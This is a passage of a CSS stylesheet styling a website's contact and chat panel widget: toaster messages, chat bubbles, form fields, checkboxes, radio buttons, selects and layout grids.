      .vlw .vlw__toaster__item__message {
        position: relative;
        z-index: 1;
      }

      .vlw .vlw__toaster__item__actions {
        margin-top: 15px;
      }

      .vlw .vlw__toaster__item__img {
        display: flex;
        align-items: center;
        justify-content: center;
        background: #cbd2da;
        flex: 0 0 20px;
        width: 20px;
        height: 20px;
        border-radius: 20px;
        margin-right: 10px;
      }

      .vlw .vlw__toaster__item__img__icon {
        fill: #fff;
        width: 12px;
        height: 12px;
      }

      .vlw .vlw-transition-toaster-fade-enter-active {
        transition: opacity 0.3s ease;
      }

      .vlw .vlw-transition-toaster-fade-leave-active {
        transition: opacity 0.3s ease;
      }

      .vlw .vlw-transition-toaster-fade-enter,
      .vlw .vlw-transition-toaster-fade-leave-to {
        opacity: 0;
      }

      .vlw .vlw__contact {
        display: flex;
        height: 100%;
        transition: width 0.2s ease-in-out, background 0.2s ease-in-out;
      }

      .vlw .vlw__contact--primary,
      .vlw .vlw__contact--secondary,
      .vlw .vlw__contact--tertiary {
        margin-left: 14px;
      }

      .vlw .vlw__contact--primary .vlw__contact__toggle,
      .vlw .vlw__contact--secondary .vlw__contact__toggle,
      .vlw .vlw__contact--tertiary .vlw__contact__toggle {
        background: #FFE615;
        border-radius: 0;
      }

      .vlw .vlw__contact--primary .vlw__contact__toggle::after,
      .vlw .vlw__contact--secondary .vlw__contact__toggle::after,
      .vlw .vlw__contact--tertiary .vlw__contact__toggle::after {
        content: "";
        position: absolute;
        top: 0;
        left: -13px;
        width: 0;
        height: 0;
        border-top: 0 solid transparent;
        border-bottom: 43px solid transparent;
        border-right: 13.5px solid #FFE615;
        transition: border-color 0.2s ease-in-out;
      }

      .vlw .vlw__contact--primary .vlw__contact__toggle:hover,
      .vlw .vlw__contact--primary .vlw__contact__toggle:focus,
      .vlw .vlw__contact--secondary .vlw__contact__toggle:hover,
      .vlw .vlw__contact--secondary .vlw__contact__toggle:focus,
      .vlw .vlw__contact--tertiary .vlw__contact__toggle:hover,
      .vlw .vlw__contact--tertiary .vlw__contact__toggle:focus {
        background: #FFE507;
        color: #0055CC;
        border: none;
      }

      .vlw .vlw__contact--primary .vlw__contact__toggle:hover::after,
      .vlw .vlw__contact--primary .vlw__contact__toggle:focus::after,
      .vlw .vlw__contact--secondary .vlw__contact__toggle:hover::after,
      .vlw .vlw__contact--secondary .vlw__contact__toggle:focus::after,
      .vlw .vlw__contact--tertiary .vlw__contact__toggle:hover::after,
      .vlw .vlw__contact--tertiary .vlw__contact__toggle:focus::after {
        border-right-color: #FFE507;
      }

      .vlw .vlw__contact--quaternary .vlw__contact__toggle {
        background: #FFE615;
      }

      .vlw .vlw__contact--quaternary:hover,
      .vlw .vlw__contact--quaternary:focus {
        background: #FFE507;
      }

      .vlw .vlw__contact__toggle {
        position: relative;
        text-decoration: none !important;
        display: flex;
        align-items: center;
        height: 100%;
        padding-left: 15px;
        padding-right: 15px;
        color: #333332;
        transition: width 0.2s ease-in-out, background 0.2s ease-in-out;
        border: none;
        cursor: pointer;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact__toggle {
          padding-left: 10px;
          padding-right: 10px;
        }
      }

      .vlw .vlw__contact__toggle__icon {
        width: 20px;
        height: 20px;
        transition: fill 0.1s ease-in-out;
        fill: #333;
        pointer-events: none;
      }

      .vlw .vlw__contact__toggle__label {
        text-transform: uppercase;
        font-size: 14px;
        font-weight: 500;
        line-height: 1;
        color: #333;
        padding-right: 10px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact__toggle__label {
          position: absolute !important;
          overflow: hidden;
          clip: rect(0 0 0 0);
          height: 1px;
          width: 1px;
          margin: -1px;
          padding: 0;
          border: 0;
        }
      }

      .vlw .vlw__contact__toggle:hover .vlw__contact__toggle__icon,
      .vlw .vlw__contact__toggle:focus .vlw__contact__toggle__icon {
        opacity: 1;
      }

      .vlw .vlw__contact__toggle:hover .vlw__contact__toggle__label,
      .vlw .vlw__contact__toggle:focus .vlw__contact__toggle__label {
        text-decoration: underline;
      }

      .vlw .vlw__contact-panel {
        display: flex;
        flex-direction: column;
        background: #fff;
        width: 100%;
        max-width: 370px;
        height: calc(100% - (43px + 15px));
        position: fixed;
        z-index: 10005;
        top: calc(43px + 15px);
        right: 0;
        box-shadow: 0 0 20px rgba(0, 0, 0, 0.2);
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel {
          max-width: 100%;
          height: calc(100% - 10px);
          top: 10px;
        }
      }

      .vlw .vlw__contact-panel::before {
        content: "";
        position: absolute;
        top: -10px;
        right: 15px;
        width: 0;
        height: 0;
        border-style: solid;
        border-width: 0 10px 10px;
        border-color: transparent transparent #fff;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel::before {
          right: 10px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel::before {
          display: none;
        }
      }

      .vlw .vlw__contact-panel__header {
        display: flex;
        align-items: center;
        justify-content: space-between;
        flex: 0 0 auto;
        width: 100%;
        height: 56px;
        background: #fff;
        border-bottom: 1px #cbd2da solid;
        padding: 18px 15px;
        font-weight: 500;
      }

      .vlw .vlw__contact-panel__header__title {
        display: inline-block;
        max-width: 90%;
        color: #333332;
        line-height: 56px;
        height: 56px;
        font-size: 18px;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
      }

      .vlw .vlw__contact-panel__header__close {
        display: block;
        width: 16px;
        line-height: 1;
        border: none;
        background: none;
        height: 16px;
        padding: 0;
        cursor: pointer;
        margin: 0;
        margin-right: 2px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__header__close {
          margin-right: -3px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel__header__close {
          margin-right: 0;
        }
      }

      .vlw .vlw__contact-panel__header__close__icon {
        display: block;
        fill: inherit;
      }

      .vlw .vlw__contact-panel__header__close:hover {
        fill: #0055CC;
      }

      .vlw .vlw__contact-panel__header__close:focus,
      .vlw .vlw__contact-panel__header__close:active {
        fill: #004CB8;
      }

      .vlw .vlw__contact-panel__content {
        display: flex;
        flex-direction: column;
        flex: 1 1 auto;
        overflow: hidden;
      }

      .vlw .vlw__contact-panel__scroll {
        display: flex;
        flex-direction: column;
        flex: 1 1 auto;
        overflow-y: auto;
      }

      .vlw .vlw__contact-panel__layout {
        flex: 0 0 auto;
      }

      .vlw .vlw__contact-panel__region {
        flex: 0 0 auto;
      }

      .vlw .vlw__contact-panel__detail {
        flex: 1 0 auto;
      }

      .vlw .vlw__contact-panel__badge {
        width: 24px;
        height: 24px;
        display: flex;
        align-items: center;
        justify-content: center;
        border-radius: 24px;
        border: 1px #e8ebee solid;
      }

      .vlw .vlw__contact-panel__badge--accent {
        background: #FFE615;
      }

      .vlw .vlw__contact-panel__badge__icon {
        width: 14px;
        height: 14px;
        fill: #333332;
      }

      .vlw .vlw__contact-panel__badge__icon--light {
        fill: #fff;
      }

      .vlw .vlw__contact-panel__chat {
        display: flex;
        flex-direction: column;
        flex: 0 0 auto;
        position: relative;
        margin: 0 15px;
        overflow: hidden;
        transform: translateZ(0);
      }

      .vlw .vlw__contact-panel__chat--v-center {
        flex: 1;
        justify-content: center;
      }

      .vlw .vlw__contact-panel__chat__close {
        position: fixed;
        bottom: 10px;
        right: 10px;
      }

      .vlw .vlw__contact-panel__chat__message-window {
        display: flex;
        position: relative;
        left: -15px;
        width: calc(100% + 30px);
        padding: 15px;
        flex-direction: column;
        flex-wrap: nowrap;
        align-items: baseline;
        flex: 0 0 auto;
      }

      .vlw .vlw__contact-panel__chat__message {
        display: block;
        max-width: 100%;
        line-height: 1.3;
        font-weight: 400;
        position: relative;
        margin-top: 10px;
        margin-bottom: 10px;
        max-width: calc(100% - 15px);
      }

      @supports (overflow-wrap: break-word) {
        .vlw .vlw__contact-panel__chat__message {
          overflow-wrap: break-word;
          word-break: normal;
        }
      }

      .vlw .vlw__contact-panel__chat__message.vlw__alert-tile {
        display: flex;
      }

      .vlw .vlw__contact-panel__chat__message--you {
        background: #e4f0ad;
        border-radius: 15px 0 15px 15px;
        margin-left: auto;
      }

      .vlw .vlw__contact-panel__chat__message--you:not(:last-of-type) {
        margin-top: 5px;
        margin-bottom: 5px;
      }

      .vlw .vlw__contact-panel__chat__message--them {
        background: #e8ebee;
        border-radius: 0 15px 15px 15px;
        margin-right: auto;
        max-width: calc(100% - 15px);
      }

      .vlw .vlw__contact-panel__chat__message--has-action .vlw__contact-panel__chat__message__item:last-of-type {
        padding-bottom: 0;
      }

      .vlw .vlw__contact-panel__chat__message__item {
        display: block;
        padding-left: 15px;
        padding-right: 15px;
        padding-bottom: 10px;
      }

      .vlw .vlw__contact-panel__chat__message__item:first-child {
        padding-top: 10px;
      }

      .vlw .vlw__contact-panel__chat__message__item:last-child {
        border-radius: 0 0 15px 15px;
      }

      .vlw .vlw__contact-panel__chat__message__item--action {
        padding: 0;
        border-left: 2px #cbd2da solid;
        border-right: 2px #cbd2da solid;
        border-bottom: 2px #cbd2da solid;
        overflow: hidden;
      }

      .vlw .vlw__contact-panel__chat__message__item--action:last-of-type .vlw__contact-panel__chat__message__item__action {
        border-radius: 0 0 15px 15px;
      }

      .vlw .vlw__contact-panel__chat__message__item__action {
        display: flex;
        flex-direction: column;
        align-items: center;
        background: white;
        position: relative;
        width: 100%;
        padding-top: 8px;
        padding-bottom: 8px;
        font-weight: 500;
        text-decoration: none;
      }

      .vlw .vlw__contact-panel__chat__message__item__action:hover,
      .vlw .vlw__contact-panel__chat__message__item__action:focus {
        text-decoration: underline;
      }

      .vlw .vlw__contact-panel__chat__actions {
        padding: 10px 0;
        margin: 0 15px;
        border-top: 1px #cbd2da solid;
      }

      .vlw .vlw__contact-panel__chat__input {
        border-top: 1px #cbd2da solid;
        margin: 0;
      }

      .vlw .vlw__contact-panel__chat__input__actions {
        display: flex;
        flex-direction: row;
        align-items: flex-end;
        position: relative;
      }

      .vlw .vlw__contact-panel__chat__input__action {
        position: absolute;
        bottom: 34px;
        left: 15px;
        z-index: 1;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel__chat__input__action {
          bottom: 20px;
        }
      }

      .vlw .vlw__contact-panel__chat__input__action--send {
        left: auto;
        right: 15px;
        padding: 0;
      }

      .vlw .vlw__contact-panel__chat__input__popover .vlw__contact-panel__popover__content {
        left: -7.5px;
      }

      .vlw .vlw__contact-panel__chat__input__field.vlw__contact-panel__textarea {
        flex: 1;
        min-height: 76px;
        padding: 17px 60px 19px 55px;
        border-color: transparent;
        -ms-overflow-style: none;
        line-height: 1.2;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel__chat__input__field.vlw__contact-panel__textarea {
          min-height: 33px;
          padding: 10px 60px 10px 55px;
        }
      }

      .vlw .vlw__contact-panel__chat__input__field.vlw__contact-panel__textarea:focus,
      .vlw .vlw__contact-panel__chat__input__field.vlw__contact-panel__textarea--focus,
      .vlw .vlw__contact-panel__chat__input__field.vlw__contact-panel__textarea--focus:hover {
        outline: none !important;
        border-color: transparent !important;
        box-shadow: none !important;
        background: #f1f2f4;
      }

      .vlw .vlw__contact-panel__chat-bubble {
        display: flex;
        flex-direction: row;
        align-items: center;
        justify-content: flex-end;
        position: fixed;
        bottom: 15px;
        right: 15px;
        height: 65px;
        border-radius: 65px;
        padding: 0 5px;
        background: #fff;
        box-shadow: 0 0 10px 4px rgba(0, 0, 0, 0.15);
        transition: all 0.2s ease-in-out;
      }

      .vlw .vlw__contact-panel__chat-bubble--open {
        right: 385px;
      }

      .vlw .vlw__contact-panel__chat-bubble__divider {
        display: inline-block;
        width: 1px;
        height: 45px;
        background: #d3d9e0;
        margin: 0 3px;
      }

      .vlw .vlw__contact-panel__chat-bubble>* {
        flex: 1 0 auto;
        margin: 0 5px;
      }

      .vlw .vlw__contact-panel__chat-bubble .vlw__alert-tile {
        width: auto;
        max-width: 340px;
        border-radius: 55px 0 0 55px;
      }

      .vlw .vlw__contact-panel__chat-bubble .vlw__alert-tile__title {
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .vlw .vlw__contact-panel__circular-button {
        display: flex;
        padding: 0;
        margin: 0;
        align-items: center;
        justify-content: center;
        border: none;
        width: 28px;
        height: 28px;
        flex: 0 0 28px;
        background: #0055CC;
        border-radius: 3rem;
        transition: background 0.1s ease-in-out;
        cursor: pointer;
        fill: #fff;
      }

      .vlw .vlw__contact-panel__circular-button:hover {
        background: #0051C2;
      }

      .vlw .vlw__contact-panel__circular-button:focus,
      .vlw .vlw__contact-panel__circular-button:active {
        background: #004CB8;
      }

      .vlw .vlw__contact-panel__circular-button--alt {
        background: #cbd2da;
      }

      .vlw .vlw__contact-panel__circular-button--alt:focus,
      .vlw .vlw__contact-panel__circular-button--alt:active {
        background: #004CB8;
      }

      .vlw .vlw__contact-panel__circular-button--full {
        fill: #0055CC;
        background: transparent;
      }

      .vlw .vlw__contact-panel__circular-button--full:hover {
        fill: #0051C2;
        background: transparent;
      }

      .vlw .vlw__contact-panel__circular-button--full:focus,
      .vlw .vlw__contact-panel__circular-button--full:active {
        fill: #004CB8;
        background: transparent;
      }

      .vlw .vlw__contact-panel__circular-button--full .vlw__contact-panel__circular-button__icon {
        width: 28px;
        height: 28px;
      }

      .vlw .vlw__contact-panel__circular-button__icon {
        width: 12px;
        height: 12px;
        fill: inherit;
        transition: 0.35s ease;
      }

      .vlw .vlw__contact-panel__feedback {
        padding: 15px 0;
      }

      .vlw .vlw__contact-panel__feedback__icon {
        width: 48px;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel__feedback__icon {
          width: 28px;
        }
      }

      .vlw .vlw__contact-panel__feedback__stars {
        display: flex;
        align-items: center;
        justify-content: center;
        padding-top: 15px;
      }

      .vlw .vlw__contact-panel__feedback__stars__input--selected+.vlw__contact-panel__feedback__stars__image {
        fill: #8bae00;
      }

      .vlw .vlw__contact-panel__feedback__stars__image {
        transition: fill 0.1s linear;
        width: 30px;
        height: 30px;
        cursor: pointer;
        margin-left: 5px;
        margin-right: 5px;
        fill: #cbd2da;
      }

      .vlw .vlw__contact-panel__feedback__stars__image:hover,
      .vlw .vlw__contact-panel__feedback__stars__image:focus {
        fill: #8bae00;
      }

      .vlw .vlw__contact-panel__checkbox {
        display: inline-block;
        font-size: 16px;
        margin: 0 50px 2px 30px;
        position: relative;
        min-height: 20px;
      }

      .vlw .vlw__contact-panel__checkbox.vlw__contact-panel__checkbox--block {
        display: block;
        margin: 0 0 0 30px;
      }

      .vlw .vlw__contact-panel__checkbox.vlw__contact-panel__checkbox--disabled {
        color: #666;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__checkbox {
          font-size: 14px;
        }
      }

      .vlw .vlw__contact-panel__checkbox__toggle {
        position: absolute;
        overflow: hidden;
        clip: rect(0 0 0 0);
        height: 1px;
        width: 1px;
        margin: -1px;
        padding: 0;
      }

      .vlw .vlw__contact-panel__checkbox__toggle:focus+span {
        border-color: #ffc515;
        outline: 2px solid #ffc515;
      }

      .vlw .vlw__contact-panel__checkbox__toggle:checked+span {
        background: #0055CC;
        border: 1px #0055CC solid;
      }

      .vlw .vlw__contact-panel__checkbox__toggle:checked+span .vlw__contact-panel__checkbox__toggle__icon {
        fill: white;
        transform: translateZ(0) scale(1);
      }

      .vlw .vlw__contact-panel__checkbox__toggle+span {
        position: absolute;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        overflow: hidden;
        background: #fff;
        border: 1px #cbd2da solid;
        outline: 2px transparent solid;
        top: 4px;
        left: -28px;
        width: 16px;
        height: 16px;
        cursor: pointer;
        transition: all 0.3s cubic-bezier(1, 0.1, 0, 0.9);
        white-space: nowrap;
        margin: 0 5px 0 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__checkbox__toggle+span {
          top: 2px;
        }
      }

      .vlw .vlw__contact-panel__checkbox--disabled .vlw__contact-panel__checkbox__toggle+span {
        background-color: #f4f5f7;
        border-color: #cbd2da;
      }

      .vlw .vlw__contact-panel__checkbox--error .vlw__contact-panel__checkbox__toggle+span {
        background-color: #fbe6e6;
        border-color: #db3434;
      }

      .vlw .vlw__contact-panel__checkbox__toggle__icon {
        width: 14px;
        height: 14px;
        transition: all 0.3s cubic-bezier(1, 0.1, 0, 0.9) 0.1s;
        transform: translateZ(0) scale(0);
        fill: #0055CC;
      }

      .vlw .vlw__contact-panel__checkbox--disabled .vlw__contact-panel__checkbox__toggle:checked+span {
        background: #f4f5f7;
        border: 1px #cbd2da solid;
      }

      .vlw .vlw__contact-panel__checkbox--disabled .vlw__contact-panel__checkbox__toggle:checked+span .vlw__contact-panel__checkbox__toggle__icon {
        fill: #f4f5f7;
      }

      .vlw .vlw__contact-panel__form__error {
        color: #db3434;
        font-size: 14px;
      }

      .vlw .vlw__contact-panel__input-field {
        border: 1px solid #cbd2da;
        border-radius: 0;
        display: inline-block;
        max-width: 100%;
        color: #333332;
        background: #fff;
        height: 35px;
        line-height: 35px;
        font-size: 16px;
        font-family: flanders-sans, sans-serif;
        text-indent: 0;
        appearance: none;
        padding: 6px 10px;
      }

      .vlw .vlw__contact-panel__input-field:hover {
        box-shadow: none;
      }

      .vlw .vlw__contact-panel__input-field::placeholder {
        color: #687483;
      }

      .vlw .vlw__contact-panel__input-field::-webkit-search-cancel-button {
        -webkit-appearance: none;
      }

      .vlw .vlw__contact-panel__input-field:focus:valid::-webkit-search-cancel-button::after {
        content: "";
        display: inline-block;
        font-style: italic;
        width: 11px;
        height: 11px;
        margin-right: 0.7rem;
        background-position: center;
        background-repeat: no-repeat;
        background-image: inline-image("icon-cross-2x.png", "png");
        background-size: 9px;
        opacity: 0.6;
      }

      .vlw .vlw__contact-panel__input-field--block {
        display: block;
        width: 100%;
      }

      .vlw .vlw__contact-panel__input-field__wrapper {
        padding: 6px 0;
        position: relative;
      }

      .vlw .vlw__contact-panel__input-field__wrapper__filelist {
        padding-bottom: 6px;
      }

      .vlw .vlw__contact-panel__input-field__wrapper>.vlw__contact-panel__input-field {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        cursor: pointer;
        opacity: 0.01;
      }

      .vlw .vlw__contact-panel__label {
        font-size: 14px;
        font-family: flanders-sans, sans-serif;
        font-weight: 500;
        line-height: 1.2;
        display: inline-block;
      }

      .vlw .vlw__contact-panel__label--block {
        display: block;
        width: 100%;
      }

      .vlw .vlw__contact-panel__label--placeholder {
        position: absolute;
        top: 0;
        left: 0;
        font-size: 14px;
        font-family: flanders-sans, sans-serif;
        font-weight: 400;
        color: #687483;
      }

      .vlw .vlw__contact-panel__label-as-placeholder {
        position: relative;
        width: 100%;
      }

      .vlw .vlw__contact-panel__label-as-placeholder:first-child .vlw__contact-panel__label--placeholder {
        margin-left: 15px;
      }

      .vlw .vlw__contact-panel__label-as-placeholder:first-child .vlw__contact-panel__chat__input__field {
        padding-left: 15px;
      }

      .vlw .vlw__contact-panel__label-as-placeholder .vlw__contact-panel__label--placeholder {
        font-size: 16px;
        margin: 18px 10px 10px 55px;
        transition: 0.2s linear;
        cursor: text;
        user-select: none;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__contact-panel__label-as-placeholder .vlw__contact-panel__label--placeholder {
          margin: 10px 10px 10px 55px;
        }
      }

      .vlw .vlw__contact-panel__label-as-placeholder .vlw__contact-panel__label__input-field {
        transition: background 0.2s linear;
      }

      .vlw .vlw__contact-panel__radio {
        display: inline-block;
        margin: 0 5px 2px 30px;
        position: relative;
      }

      .vlw .vlw__contact-panel__radio.vlw__contact-panel__radio--block {
        display: block;
        margin: 0 0 0 30px;
      }

      .vlw .vlw__contact-panel__radio.vlw__contact-panel__radio--disabled {
        color: #cbd2da;
      }

      .vlw .vlw__contact-panel__radio.vlw__contact-panel__radio--disabled .vlw__contact-panel__radio__toggle:checked+span {
        background: #cbd2da;
        color: #cbd2da;
        border: 1px #cbd2da solid;
      }

      .vlw .vlw__contact-panel__radio.vlw__contact-panel__radio-radio--single {
        margin: 0;
      }

      .vlw .vlw__contact-panel__radio.vlw__contact-panel__radio-radio--single .vlw__contact-panel__radio__toggle+span {
        position: relative;
        top: auto;
        left: auto;
        margin: 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__radio {
          font-size: 14px;
        }
      }

      .vlw .vlw__contact-panel__radio__toggle {
        position: absolute;
        overflow: hidden;
        clip: rect(0 0 0 0);
        height: 1px;
        width: 1px;
        margin: -1px;
        padding: 0;
      }

      .vlw .vlw__contact-panel__radio__toggle:checked+span {
        background: #0055CC;
        color: #0055CC;
        border: 1px #0055CC solid;
      }

      .vlw .vlw__contact-panel__radio__toggle:checked+span::before {
        transform: translateZ(0) translate(-50%, -50%) scale(1);
      }

      .vlw .vlw__contact-panel__radio__toggle+span {
        position: absolute;
        display: inline-block;
        overflow: hidden;
        text-indent: -990px;
        background: #fff;
        border: 1px #cbd2da solid;
        top: 4px;
        left: -28px;
        width: 16px;
        height: 16px;
        border-radius: 100%;
        cursor: pointer;
        transition: all 0.3s cubic-bezier(1, 0.1, 0, 0.9);
        white-space: nowrap;
        margin: 0 5px 0 0;
      }

      .vlw .vlw__contact-panel__radio__toggle+span::before {
        content: "";
        position: absolute;
        display: block;
        height: 6px;
        width: 6px;
        top: 50%;
        left: 50%;
        background: #fff;
        border-radius: 100%;
        transition: all 0.3s cubic-bezier(1, 0.1, 0, 0.9) 0.05s;
        transform: translateZ(0) translate(-50%, -50%) scale(0);
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__radio__toggle+span {
          top: 2px;
        }
      }

      .vlw .vlw__contact-panel__radio--error .vlw__contact-panel__radio__toggle+span {
        background-color: #fbe6e6;
        border-color: #db3434;
      }

      .vlw .vlw__contact-panel__radio--disabled .vlw__contact-panel__radio__toggle+span {
        background-color: #f4f5f7;
        border-color: #cbd2da;
      }

      .vlw .vlw__contact-panel__radio__toggle:focus+span,
      .vlw .vlw__contact-panel__radio__toggle:focus:checked+span {
        border-color: #ffc515 !important;
      }

      .vlw .vlw__contact-panel__select {
        display: inline-block;
        position: relative;
        padding: 0 15px;
        padding-right: 60px;
        max-width: 100%;
        height: 35px;
        line-height: 35px;
        appearance: none;
        border: 1px solid #cbd2da;
        border-radius: 0;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
        background-color: #fff;
        background-position: center right;
        background-repeat: no-repeat;
        background-size: 26px 7px;
        background-image: url("");
        text-decoration: none;
        color: #333332;
        font-family: flanders-sans, sans-serif;
        font-size: 16px;
      }

      .vlw .vlw__contact-panel__select::-ms-expand {
        display: none;
      }

      .vlw .vlw__contact-panel__select[disabled] {
        color: #cbd2da;
        border-color: #cbd2da;
        background-color: #f4f5f7;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__contact-panel__select {
          height: 35px;
          line-height: 35px;
          font-size: 15px;
        }
      }

      .vlw .vlw__contact-panel__select:focus {
        border-color: #ffc515 !important;
        box-shadow: inset 0 0 0 1px #ffc515 !important;
        outline: none;
      }

      .vlw .vlw__contact-panel__select--block {
        display: block;
        width: 100%;
      }

      @media all and (min-width: 0\0) and (min-resolution: 0.001dpcm) {
        .vlw select.vlw__contact-panel__select {
          padding-right: 0;
          background-image: none;
        }
      }

      .vlw .vlw__contact-panel__textarea {
        border: 1px solid #cbd2da;
        border-radius: 0;
        display: inline-block;
        max-width: 100%;
        color: #333332;
        background: #fff;
        height: auto;
        line-height: 1.2;
        font-size: 16px;
        font-family: flanders-sans, sans-serif;
        text-indent: 0;
        appearance: none;
        padding: 6px 10px;
      }

      .vlw .vlw__contact-panel__textarea:hover {
        box-shadow: none;
      }

      .vlw .vlw__contact-panel__textarea::placeholder {
        color: #687483;
      }

      .vlw .vlw__contact-panel__textarea::-webkit-search-cancel-button {
        -webkit-appearance: none;
      }

      .vlw .vlw__contact-panel__textarea:focus:valid::-webkit-search-cancel-button::after {
        content: "";
        display: inline-block;
        font-style: italic;
        width: 11px;
        height: 11px;
        margin-right: 0.7rem;
        background-position: center;
        background-repeat: no-repeat;
        background-image: inline-image("icon-cross-2x.png", "png");
        background-size: 9px;
        opacity: 0.6;
      }

      .vlw .vlw__contact-panel__textarea--block {
        display: block;
        width: 100%;
      }

      .vlw .vlw__contact-panel__form-element--error {
        background-color: #fbe6e6;
        border-color: #db3434;
        box-shadow: inset 0 0 0 1px #db3434;
      }

      .vlw .vlw__contact-panel__form-element--error:focus {
        background-color: #fff;
      }

      .vlw .vlw__contact-panel__form-element--disabled {
        background-color: #f4f5f7;
      }

      .vlw .vlw__contact-panel__form-element:focus {
        outline: none;
        border-color: #ffc515;
        box-shadow: inset 0 0 0 1px #ffc515;
      }

      .vlw .vlw__contact-panel__form-element--focus {
        outline: none;
        border-color: #ffc515;
        box-shadow: inset 0 0 0 1px #ffc515;
      }

      .vlw .vlw__contact-panel__form-element--focus:hover {
        outline: none;
        border-color: #ffc515;
        box-shadow: inset 0 0 0 1px #ffc515;
      }

      .vlw .vlw__contact-panel__region {
        position: relative;
        padding: 15px 0;
        padding-bottom: 25px;
      }

      .vlw .vlw__contact-panel__region--alt {
        background: #e8ebee;
      }

      .vlw .vlw__contact-panel__region--full {
        position: relative;
        left: -15px;
        width: calc(100% + 30px);
      }

      .vlw .vlw__contact-panel__region--stretch {
        display: flex;
        flex-direction: column;
        height: 100%;
        justify-content: center;
        flex: 1;
      }

      .vlw .vlw__contact-panel__region--no-padding-bottom {
        padding-bottom: 0;
      }

      .vlw .vlw__contact-panel__region:not(:last-of-type) {
        position: relative;
      }

      .vlw .vlw__contact-panel__region:not(:last-of-type)::before {
        content: "";
        position: absolute;
        left: 0;
        right: 0;
        bottom: 0;
        height: 1px;
        background: #e8ebee;
      }

      .vlw .vlw__contact-panel__layout {
        position: relative;
        padding: 0 15px;
      }

      .vlw .col--flex>.grid {
        min-width: 100%;
      }

      .vlw body:after {
        box-sizing: border-box;
        position: fixed;
        display: block;
        bottom: 10px;
        right: 10px;
        padding: 5px 28px 5px 20px;
        font-size: 12px;
        color: #777;
        border-radius: 3px;
        background-color: #f7f7f7;
        box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3);
        z-index: 100000;
      }

      .vlw .vlw__contact-panel__grid {
        position: relative;
        box-sizing: border-box;
        display: flex;
        margin-left: -15px;
        flex-direction: row;
        flex: 0 1 auto;
        flex-wrap: wrap;
      }

      .vlw .vlw__contact-panel__grid>* {
        box-sizing: border-box;
        padding-left: 15px;
        position: relative;
      }

      .vlw .vlw__contact-panel__grid--no-gutter {
        margin-left: 0;
      }

      .vlw .vlw__contact-panel__grid--no-gutter>* {
        padding-left: 0;
      }

      .vlw .vlw__contact-panel__grid--v-top {
        align-items: flex-start;
      }

      .vlw .vlw__contact-panel__grid--v-center {
        align-items: center;
      }

      .vlw .vlw__contact-panel__grid--v-bottom {
        align-items: flex-end;
      }

      .vlw .vlw__contact-panel__grid--v-stretch {
        align-items: stretch;
      }

      .vlw .vlw__contact-panel__grid--v-baseline {
        align-items: stretch;
      }

      .vlw .vlw__contact-panel__grid--align-start {
        justify-content: flex-start;
      }

      .vlw .vlw__contact-panel__grid--align-end {
        justify-content: flex-end;
      }

      .vlw .vlw__contact-panel__grid--align-center {
        justify-content: center;
      }

      .vlw .vlw__contact-panel__grid--align-space-between {
        justify-content: space-between;
      }

      .vlw .vlw__contact-panel__grid--align-space-around {
        justify-content: space-around;
      }

      .vlw .vlw__contact-panel__col--fit {
        flex: 1 0;
      }

      .vlw .vlw__contact-panel__col--flex {
        display: flex;
      }

      .vlw .vlw__contact-panel__col--wide-content {
        margin-left: -15px;
        margin-right: -15px;
      }

      .vlw .vlw__contact-panel__col--1-2 {
        flex-basis: 50%;
        max-width: 50%;
        min-width: 50%;
      }

      .vlw .vlw__contact-panel__col--1-1,
      .vlw .vlw__contact-panel__col--2-2 {
        flex-basis: 100%;
        max-width: 100%;
        min-width: 100%;
      }

      .vlw .vlw__contact-panel__grid--is-stacked {
        margin-top: -15px;
      }

      .vlw .vlw__contact-panel__grid--is-stacked>* {
        margin-top: 15px;
      }

      .vlw .vlw__contact-panel__col--omega {
        margin-left: auto;
      }

      .vlw body:after {
        content: "mygrid";
        background: linear-gradient(to right, #f7f7f7, #f7f7f7 90%, #000 90%, #000 100%);
      }

      .vlw .vlw__contact-panel__form-grid {
        position: relative;
        box-sizing: border-box;
        display: flex;
        margin-left: -7.5px;
        flex-direction: row;
        flex: 0 1 auto;
        flex-wrap: wrap;
      }

      .vlw .vlw__contact-panel__form-grid>* {
        box-sizing: border-box;
        padding-left: 7.5px;
        position: relative;
      }

      .vlw .vlw__contact-panel__form-grid--no-gutter {
        margin-left: 0;
      }

      .vlw .vlw__contact-panel__form-grid--no-gutter>* {
        padding-left: 0;
      }

      .vlw .vlw__contact-panel__form-grid--v-top {
        align-items: flex-start;
      }

      .vlw .vlw__contact-panel__form-grid--v-center {
        align-items: center;
      }

      .vlw .vlw__contact-panel__form-grid--v-bottom {
        align-items: flex-end;
      }

      .vlw .vlw__contact-panel__form-grid--v-stretch {
        align-items: stretch;
      }

      .vlw .vlw__contact-panel__form-grid--v-baseline {
        align-items: stretch;
      }

      .vlw .vlw__contact-panel__form-grid--align-start {
        justify-content: flex-start;
      }

      .vlw .vlw__contact-panel__form-grid--align-end {
        justify-content: flex-end;
      }

      .vlw .vlw__contact-panel__form-grid--align-center {
        justify-content: center;
      }

      .vlw .vlw__contact-panel__form-grid--align-space-between {
        justify-content: space-between;
      }

      .vlw .vlw__contact-panel__form-grid--align-space-around {
        justify-content: space-around;
      }

      .vlw .vlw__contact-panel__form-col--fit {
        flex: 1 0;
      }

      .vlw .vlw__contact-panel__form-col--flex {
